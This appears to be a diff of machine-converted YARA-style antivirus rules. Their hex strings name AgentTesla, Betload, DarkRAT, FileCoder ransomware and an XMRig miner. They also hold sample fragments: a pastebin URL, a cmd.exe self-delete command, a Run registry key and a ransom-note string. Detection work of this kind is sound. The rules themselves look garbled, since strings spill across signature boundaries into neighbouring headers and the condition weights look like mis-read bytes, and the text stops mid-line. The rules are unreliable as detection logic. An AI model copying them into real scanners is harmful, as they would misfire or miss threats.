"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -187664,7 +200187,7 @@ rule _InfrastructureShared_16038{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25956+(#a_40_2 & 1)*16493+(#a_23_3 & 1)*11+(#a_64_4 & 1)*37+(#a_9d_5 & 1)*16+(#a_55_6 & 1)*30034+(#a_6e_8 & 1)*385+(#a_01_9 & 1)*29295) >=10 } -rule _InfrastructureShared_16039{ +rule _InfrastructureShared_17090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -187678,12 +200201,12 @@ rule _InfrastructureShared_16039{ $a_65_6 = {6c 61 2e 53 4d 4b 33 30 21 4d 54 42 00 0a 00 45 02 08 09 28 88 02 00 06 28 89 02 00 06 13 04 11 04 28 51 02 00 06 20 9e 02 00 00 da 13 05 11 05 28 8a 02 00 06 28 89 02 00 06 13 06 07 11 06 28 8b 02 00 06 90 02 04 09 17 d6 0d 09 08 28 8c 02 00 06 fe 04 } //29806 $a_00_7 = {25 80 01 24 36 66 34 32 37 35 } //144 $a_32_8 = {35 36 2d 34 61 34 34 2d 61 63 62 65 2d 36 38 64 34 37 65 30 38 39 35 39 61 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e } //14436 - $a_65_10 = {54 79 70 65 73 01 00 22 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 00 01 00 0c 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 00 00 00 78 fe 00 00 01 00 01 00 } //384 + $a_65_10 = {54 79 70 65 73 01 00 22 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 00 01 00 0c 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 00 00 00 78 fd 00 00 1b 00 1b 00 } //384 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2365+(#a_69_2 & 1)*385+(#a_63_3 & 1)*30063+(#a_2e_4 & 1)*25710+(#a_6e_5 & 1)*25972+(#a_65_6 & 1)*29806+(#a_00_7 & 1)*144+(#a_32_8 & 1)*14436+(#a_65_10 & 1)*384) >=11 } -rule _InfrastructureShared_16040{ +rule _InfrastructureShared_17091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -187694,31 +200217,48 @@ rule _InfrastructureShared_16040{ $a_05_3 = {28 8a 02 00 06 28 89 02 00 06 13 06 07 11 06 28 8b } //1299 $a_90_4 = {04 09 17 d6 0d 09 } //2 $a_02_5 = {00 06 fe 04 90 00 0a 00 25 80 01 24 36 66 34 32 37 35 64 38 2d 32 38 35 36 2d 34 61 34 34 2d 61 63 62 65 2d 36 38 64 34 37 65 30 38 39 35 39 61 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 47 65 74 54 79 70 65 73 01 00 22 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 00 01 00 0c 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 00 00 00 } //10248 - $a_00_7 = {01 } //1 - $a_41_8 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 74 6c 6f 61 64 2e 53 49 42 41 21 4d 54 42 00 01 00 ce } //8448 - $a_5c_9 = {90 01 01 0f 8c 90 01 04 8b 5c 24 90 01 01 43 81 e3 90 01 04 89 5c 24 90 1b 02 8b 5c 24 10 8b 7c 24 90 1b 02 8b 6c 24 28 c1 e7 90 01 01 03 5c 3d 00 81 e3 90 01 04 89 5c 24 10 8b } //19203 - $a_1b_10 = {c1 e3 90 01 01 8d 44 1d 00 50 8b 5c 24 14 c1 e3 90 01 01 58 ff 74 1d 00 8b 10 89 54 1d 00 8f 00 8b 5c 24 90 1b 02 c1 e3 90 01 01 8b 5c 1d 00 8b 7c 24 10 c1 e7 90 01 01 8b 7c 3d 00 81 e7 90 01 04 01 fb 81 e3 90 01 04 89 5c 24 90 01 01 8b 5c 24 90 1b 10 c1 e3 90 01 01 ff 74 1d 00 58 89 44 24 14 8b 6c 24 24 0f be 5d 00 33 5c 24 14 53 8b 6c 24 28 58 88 45 00 8b 5c 24 24 43 89 5c 24 24 ff 44 24 90 1b 00 0f 81 90 00 00 00 78 fe 00 00 } //9308 - $a_00_11 = {04 00 } //2 + $a_00_7 = {08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 16 01 55 73 61 } //27 + $a_20_8 = {6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d 06 00 1b 01 65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 01 00 0b 01 63 72 79 70 74 6f 6e 69 67 } //25959 + $a_00_9 = {10 01 } //29800 Đ + $a_70_10 = {6f 6e 69 67 68 74 2d 6c 69 74 65 02 00 11 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 67 68 74 03 00 2b 01 6d 61 78 69 6d 75 6d 20 43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 04 00 25 01 70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 05 } //29283 + $a_70_11 = {72 } //5632 r condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30465+(#a_73_2 & 1)*25955+(#a_05_3 & 1)*1299+(#a_90_4 & 1)*2+(#a_02_5 & 1)*10248+(#a_00_7 & 1)*1+(#a_41_8 & 1)*8448+(#a_5c_9 & 1)*19203+(#a_1b_10 & 1)*9308+(#a_00_11 & 1)*2) >=12 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30465+(#a_73_2 & 1)*25955+(#a_05_3 & 1)*1299+(#a_90_4 & 1)*2+(#a_02_5 & 1)*10248+(#a_00_7 & 1)*27+(#a_20_8 & 1)*25959+(#a_00_9 & 1)*29800+(#a_70_10 & 1)*29283+(#a_70_11 & 1)*5632) >=12 } -rule _InfrastructureShared_16041{ +rule _InfrastructureShared_17092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 33 30 21 4d 54 42 00 0a 00 45 02 08 09 28 88 02 00 06 28 89 02 00 06 13 04 11 04 28 51 02 00 06 20 9e 02 00 00 da 13 05 11 05 28 8a 02 00 06 28 89 02 00 06 13 06 07 11 } //18467 $a_02_1 = {00 06 90 02 04 09 17 d6 0d 09 08 28 8c 02 00 06 fe 04 90 00 0a 00 25 80 01 24 36 66 34 32 37 35 64 38 2d 32 38 35 36 2d 34 61 34 34 2d 61 63 62 65 2d 36 38 64 34 37 65 30 38 39 35 39 61 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 47 65 74 54 79 70 65 73 01 00 22 80 01 00 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 3d 72 00 01 00 0c 80 } //10246 - $a_72_2 = {72 3d 72 3d 72 3d 72 00 00 00 78 fe 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 74 6c 6f 61 64 2e 53 49 42 41 21 4d 54 42 00 01 00 ce 03 4b } //1 - $a_90_3 = {01 0f 8c 90 01 04 8b 5c 24 90 01 01 43 81 e3 90 01 04 89 5c 24 90 1b 02 8b 5c 24 10 8b 7c 24 90 1b 02 8b 6c } //23611 - $a_e7_4 = {01 01 03 5c 3d 00 81 e3 90 01 04 89 5c 24 10 8b 5c 24 90 1b 02 c1 e3 90 01 01 8d 44 1d 00 50 8b 5c 24 14 c1 e3 90 01 01 58 ff 74 1d 00 8b 10 89 54 1d 00 8f 00 8b 5c 24 90 1b 02 c1 e3 90 01 01 8b 5c 1d 00 8b 7c 24 10 c1 e7 90 01 01 8b 7c 3d 00 81 e7 90 01 04 01 fb 81 e3 90 01 04 89 5c 24 90 01 01 8b 5c 24 90 1b 10 c1 e3 90 01 01 ff 74 1d 00 58 89 44 24 14 8b 6c 24 24 0f be 5d 00 33 5c 24 14 53 8b 6c 24 28 58 88 45 00 8b 5c 24 24 43 89 5c 24 24 ff 44 24 90 1b 00 0f 81 90 00 00 00 78 fe 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6d 70 } //10276 - $a_72_5 = {2e 43 21 64 68 61 00 01 00 2d 03 48 83 fa 12 0f 90 01 03 00 00 48 83 fa 17 0f 90 01 03 00 00 52 41 59 48 8b d0 56 57 48 8b 78 90 01 01 57 50 90 01 01 00 00 00 00 90 00 01 00 2e 03 58 53 51 52 48 2d 97 00 00 00 48 8b f8 b9 07 00 00 00 48 8b 73 90 01 01 f3 48 a5 48 83 c0 40 48 89 c1 48 83 c0 10 48 89 90 } //27507 + $a_72_2 = {72 3d 72 3d 72 3d 72 00 00 00 78 fd 00 00 1b 00 1b 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 16 01 55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f } //1 + $a_06_3 = {00 1b 01 65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 01 00 0b 01 63 72 79 70 74 6f 6e 69 67 68 74 02 00 10 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 02 00 11 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 67 68 74 03 00 2b 01 6d 61 78 } //21326 + $a_6d_4 = {43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 04 00 25 01 70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 05 00 16 01 70 6f 72 74 20 66 6f 72 20 74 68 65 20 6d 69 6e 65 72 20 41 50 49 00 00 78 fe 00 00 01 00 01 00 01 00 21 23 41 } //28009 + $a_54_5 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 74 6c 6f 61 64 2e 53 49 42 41 21 4d 54 42 00 01 00 ce 03 4b 3b 5c 24 90 01 01 0f 8c 90 01 04 8b 5c 24 90 01 01 43 81 e3 90 01 04 89 5c } //17996 condition: - ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*10246+(#a_72_2 & 1)*1+(#a_90_3 & 1)*23611+(#a_e7_4 & 1)*10276+(#a_72_5 & 1)*27507) >=14 + ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*10246+(#a_72_2 & 1)*1+(#a_06_3 & 1)*21326+(#a_6d_4 & 1)*28009+(#a_54_5 & 1)*17996) >=14 } -rule _InfrastructureShared_16042{ +rule _InfrastructureShared_17093{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 08 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 16 01 55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d 06 00 1b 01 65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 01 00 0b 01 63 72 79 70 74 6f 6e 69 67 68 74 02 } //20515 + $a_63_1 = {79 } //4096 y + $a_6e_2 = {67 68 74 2d 6c 69 74 65 02 00 11 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 67 68 74 03 00 2b 01 6d 61 78 69 6d 75 6d 20 43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 04 00 25 01 70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 } //29808 + $a_6e_3 = {73 05 00 16 01 70 6f 72 74 20 66 6f 72 20 74 68 65 20 6d 69 6e 65 72 20 41 50 49 00 00 78 fe 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 74 6c 6f 61 64 2e 53 49 42 41 21 4d 54 42 00 01 00 ce 03 4b 3b 5c 24 90 01 01 0f 8c 90 01 04 8b 5c 24 90 01 01 43 81 e3 90 01 04 89 5c 24 90 1b 02 8b 5c } //25445 + $a_7c_4 = {90 1b 02 8b 6c 24 28 c1 e7 90 01 01 03 5c 3d 00 81 e3 90 01 04 89 5c 24 10 8b 5c 24 90 1b 02 c1 e3 90 01 01 8d 44 1d 00 50 8b 5c 24 14 c1 e3 90 01 01 58 ff 74 1d 00 8b 10 89 54 1d 00 8f 00 8b 5c 24 90 1b 02 c1 e3 90 01 01 8b 5c 1d 00 8b 7c 24 10 c1 e7 90 01 01 8b 7c 3d 00 81 e7 90 01 04 01 fb 81 e3 90 01 04 89 5c 24 90 01 01 8b 5c 24 90 1b 10 c1 e3 90 01 01 ff 74 1d 00 58 89 44 24 14 8b 6c 24 24 0f be 5d 00 33 5c } //4132 + $a_8b_5 = {24 28 58 88 45 00 8b 5c 24 24 43 89 5c 24 24 ff 44 24 90 1b 00 0f 81 90 00 00 00 78 fe 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6d 70 73 6b 65 72 6b 2e 43 21 64 68 61 00 01 00 2d 03 48 83 fa 12 0f 90 01 03 } //5156 + $a_83_6 = {17 0f 90 01 03 00 00 52 41 59 48 8b d0 56 57 48 8b 78 90 01 01 57 50 90 01 01 00 00 00 00 90 00 01 00 2e 03 58 53 51 52 48 2d 97 00 00 00 48 8b f8 b9 07 00 00 00 48 8b 73 90 01 01 f3 48 a5 48 83 c0 40 48 89 c1 48 83 } //0 + $a_89_7 = {01 02 4c 90 00 01 00 2e 03 89 d2 48 83 c2 10 49 c7 c0 00 10 00 00 48 83 ec 20 e8 90 01 04 48 83 c4 90 01 01 48 90 01 03 48 8b 90 01 02 4c 8d 90 01 02 41 ff 31 90 00 01 00 3b 03 49 c7 c0 01 00 00 00 48 8b cb 50 48 83 } //4288 + condition: + ((#a_41_0 & 1)*20515+(#a_63_1 & 1)*4096+(#a_6e_2 & 1)*29808+(#a_6e_3 & 1)*25445+(#a_7c_4 & 1)*4132+(#a_8b_5 & 1)*5156+(#a_83_6 & 1)*0+(#a_89_7 & 1)*4288) >=27 + +} +rule _InfrastructureShared_17094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -187728,7 +200268,7 @@ rule _InfrastructureShared_16042{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16043{ +rule _InfrastructureShared_17095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -187740,7 +200280,7 @@ rule _InfrastructureShared_16043{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*0+(#a_01_3 & 1)*31627) >=2 } -rule _InfrastructureShared_16044{ +rule _InfrastructureShared_17096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -187754,7 +200294,7 @@ rule _InfrastructureShared_16044{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_fe_4 & 1)*0) >=2 } -rule _InfrastructureShared_16045{ +rule _InfrastructureShared_17097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -187769,7 +200309,7 @@ rule _InfrastructureShared_16045{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28518+(#a_65_2 & 1)*27745+(#a_2d_3 & 1)*27759+(#a_2d_4 & 1)*2305+(#a_39_5 & 1)*12378) >=2 } -rule _InfrastructureShared_16046{ +rule _InfrastructureShared_17098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187781,7 +200321,7 @@ rule _InfrastructureShared_16046{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*115+(#a_09_2 & 1)*11408) >=3 } -rule _InfrastructureShared_16047{ +rule _InfrastructureShared_17099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -187793,7 +200333,7 @@ rule _InfrastructureShared_16047{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*2136+(#a_72_2 & 1)*25967) >=3 } -rule _InfrastructureShared_16048{ +rule _InfrastructureShared_17100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -187806,7 +200346,7 @@ rule _InfrastructureShared_16048{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29525+(#a_66_2 & 1)*21280+(#a_01_3 & 1)*2) >=3 } -rule _InfrastructureShared_16049{ +rule _InfrastructureShared_17101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -187817,7 +200357,7 @@ rule _InfrastructureShared_16049{ ((#a_4c_0 & 1)*21539+(#a_e5_1 & 1)*116) >=4 } -rule _InfrastructureShared_16050{ +rule _InfrastructureShared_17102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187829,7 +200369,7 @@ rule _InfrastructureShared_16050{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_3 & 1)*118) >=4 } -rule _InfrastructureShared_16051{ +rule _InfrastructureShared_17103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -187839,7 +200379,7 @@ rule _InfrastructureShared_16051{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16052{ +rule _InfrastructureShared_17104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -187851,22 +200391,36 @@ rule _InfrastructureShared_16052{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26725+(#a_38_2 & 1)*12599) >=5 } -rule _InfrastructureShared_16053{ +rule _InfrastructureShared_17105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 61 70 70 69 65 6e 2e 43 21 64 68 61 00 01 00 12 01 5b 2d 70 73 20 70 6f 72 74 54 72 61 6e 73 53 72 63 5d 01 00 0f 01 5b 2d 67 77 20 67 61 74 65 57 61 79 49 70 5d 01 00 1f 01 28 } //16675 $a_20_1 = {6f 73 74 20 25 73 29 20 61 6e 64 20 28 64 73 74 20 68 6f 73 74 20 25 73 29 01 00 16 01 73 65 6e 64 20 41 72 70 20 52 65 71 75 65 73 74 20 66 61 69 6c 21 01 00 30 01 2d 45 72 72 6f 72 2c 43 61 6e 6e 6f 74 20 66 69 6e 64 20 41 64 61 70 74 2c 70 6c 73 65 61 73 65 20 63 68 6f 6f 73 65 20 74 72 75 65 } //29299 - $a_76_2 = {00 15 01 44 65 66 61 75 6c 74 20 63 69 70 68 65 72 20 46 6c 6f 64 65 72 01 00 0e 01 70 63 61 70 5f 6f 70 65 6e 5f 6c 69 76 65 01 00 09 01 70 63 61 70 5f 6c 6f 6f 70 00 00 78 fe 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 61 72 6b 52 41 54 2e 47 21 4d 54 42 } //25632 - $a_61_4 = {6b 52 61 74 43 6f 64 69 6e 67 5c 64 61 72 6b 72 61 74 5c 62 6f 74 5c 01 00 14 80 01 68 74 74 70 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 01 00 2c 80 01 63 6d 64 2e 65 78 65 20 2f 43 20 70 69 6e 67 } //23553 - $a_37_5 = {30 2e 30 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 01 00 0e 80 01 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 01 00 2d 80 01 53 6f } //12576 - $a_61_6 = {65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 1f 80 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 00 78 fe 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 50 31 32 33 21 4d 54 42 } //29798 + $a_76_2 = {00 15 01 44 65 66 61 75 6c 74 20 63 69 70 68 65 72 20 46 6c 6f 64 65 72 01 00 0e 01 70 63 61 70 5f 6f 70 65 6e 5f 6c 69 76 65 01 00 09 01 70 63 61 70 5f 6c 6f 6f 70 00 00 78 fe 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 41 59 55 21 4d 54 } //25632 + $a_00_3 = {54 00 } //66 T + $a_00_4 = {6c 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 61 00 6e 00 64 00 20 00 6f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 73 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 2e 00 01 00 19 01 56 69 62 65 53 68 69 74 53 68 6f 77 2e 4d 79 2e 52 65 73 6f 75 72 63 65 } //65 + $a_72_6 = {70 74 41 6c 6c 43 6f 6d 6d 6f 6e 46 69 6c 65 73 01 00 14 01 45 6e 63 72 79 70 74 41 6e 64 44 65 6c 65 74 65 46 69 6c 65 01 00 28 01 5c 56 69 62 65 53 68 69 74 53 68 6f 77 5c 6f 62 6a 5c 44 65 62 75 67 5c 56 69 62 65 53 68 69 74 53 68 6f 77 2e 70 64 62 00 00 78 fe 00 00 06 00 06 00 06 00 21 23 41 } //28229 + $a_42_7 = {63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 61 72 6b 52 41 54 2e 47 21 4d 54 42 00 01 00 1b 80 01 5c 44 61 72 6b 52 61 74 43 6f 64 69 6e 67 5c 64 61 72 6b 72 61 74 5c 62 6f 74 } //17996 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29299+(#a_76_2 & 1)*25632+(#a_61_4 & 1)*23553+(#a_37_5 & 1)*12576+(#a_61_6 & 1)*29798) >=5 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29299+(#a_76_2 & 1)*25632+(#a_00_3 & 1)*66+(#a_00_4 & 1)*65+(#a_72_6 & 1)*28229+(#a_42_7 & 1)*17996) >=5 } -rule _InfrastructureShared_16054{ +rule _InfrastructureShared_17106{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 41 59 55 21 4d 54 42 00 02 00 54 00 41 00 6c 00 6c 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 61 00 } //16675 + $a_00_1 = {20 00 6f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 73 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 2e 00 01 00 19 01 56 69 62 65 53 68 69 74 53 68 6f 77 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 15 01 45 6e 63 72 79 70 74 41 6c 6c 43 6f 6d 6d 6f 6e 46 69 6c 65 73 01 00 14 01 45 6e 63 72 } //110 + $a_41_2 = {64 44 65 6c 65 74 65 46 69 6c 65 01 00 28 01 5c 56 69 62 65 53 68 69 74 53 68 6f 77 5c 6f 62 6a 5c 44 65 62 75 67 5c 56 69 62 65 53 68 69 74 53 68 6f 77 2e 70 64 62 00 00 78 fe 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 61 72 6b 52 41 54 2e 47 21 4d 54 42 00 01 00 1b 80 01 5c 44 61 72 6b 52 61 74 43 } //28793 + $a_6e_3 = {5c 64 61 72 6b 72 61 74 5c 62 6f 74 5c 01 00 14 80 01 68 74 74 70 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 01 00 2c 80 01 63 6d 64 2e 65 78 65 20 2f 43 20 70 69 6e 67 20 31 32 37 2e 30 2e 30 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 01 00 0e 80 01 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 } //25711 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_41_2 & 1)*28793+(#a_6e_3 & 1)*25711) >=6 + +} +rule _InfrastructureShared_17107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187881,7 +200435,7 @@ rule _InfrastructureShared_16054{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25972+(#a_6f_2 & 1)*28265+(#a_00_3 & 1)*66+(#a_61_4 & 1)*385+(#a_6c_5 & 1)*29697) >=6 } -rule _InfrastructureShared_16055{ +rule _InfrastructureShared_17108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -187896,7 +200450,7 @@ rule _InfrastructureShared_16055{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28531+(#a_81_2 & 1)*1+(#a_fe_3 & 1)*0+(#a_90_4 & 1)*17803+(#a_72_5 & 1)*29793) >=6 } -rule _InfrastructureShared_16056{ +rule _InfrastructureShared_17109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -187914,7 +200468,7 @@ rule _InfrastructureShared_16056{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*-30444+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_fe_6 & 1)*0+(#a_65_7 & 1)*25951+(#a_65_8 & 1)*17247) >=6 } -rule _InfrastructureShared_16057{ +rule _InfrastructureShared_17110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -187930,7 +200484,7 @@ rule _InfrastructureShared_16057{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25458+(#a_65_2 & 1)*26950+(#a_4b_3 & 1)*4608+(#a_00_5 & 1)*79+(#a_42_6 & 1)*18974+(#a_06_7 & 1)*6213) >=6 } -rule _InfrastructureShared_16058{ +rule _InfrastructureShared_17111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -187947,7 +200501,7 @@ rule _InfrastructureShared_16058{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*71+(#a_16_2 & 1)*1391+(#a_45_3 & 1)*27656+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3+(#a_fe_7 & 1)*0+(#a_6e_8 & 1)*29298) >=6 } -rule _InfrastructureShared_16059{ +rule _InfrastructureShared_17112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -187962,7 +200516,7 @@ rule _InfrastructureShared_16059{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26994+(#a_2e_2 & 1)*31337+(#a_74_4 & 1)*18177+(#a_74_5 & 1)*27749+(#a_00_6 & 1)*7) >=7 } -rule _InfrastructureShared_16060{ +rule _InfrastructureShared_17113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -187977,7 +200531,7 @@ rule _InfrastructureShared_16060{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*21249+(#a_35_3 & 1)*25970+(#a_4a_4 & 1)*20300+(#a_78_5 & 1)*29797+(#a_73_6 & 1)*18783) >=7 } -rule _InfrastructureShared_16061{ +rule _InfrastructureShared_17114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 